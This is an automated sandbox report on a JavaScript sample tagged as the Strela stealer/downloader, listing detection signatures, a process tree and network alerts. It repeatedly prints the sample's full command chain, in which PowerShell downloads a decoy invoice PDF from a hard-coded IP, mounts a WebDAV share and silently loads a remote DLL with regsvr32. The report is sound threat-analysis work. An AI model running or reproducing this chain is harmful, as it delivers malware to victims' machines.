Edit tour

Windows Analysis Report
146362284148625748.js

Overview

General Information

Sample name:	146362284148625748.js
Analysis ID:	1588158
MD5:	90eea37ca330bbba48ce99fc1178665d
SHA1:	f1684ff9c53271813f06df4691615c155f1709db
SHA256:	f61fe8ac85b40d4cc559c97d09bf83629908b9c5e3b713d130e18cadb6b29d4a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7500 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7588 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7640 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7824 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3580 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1644,i,12496588362845181139,9270830827004441692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7840 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7860 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7500	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ProcessId: 7500, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7860, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ProcessId: 7500, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7860, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8116, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7860, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll, ProcessId: 7588, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:01:39.519966+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:01:37.097139+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 146362284148625748.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 146362284148625748.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:01:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

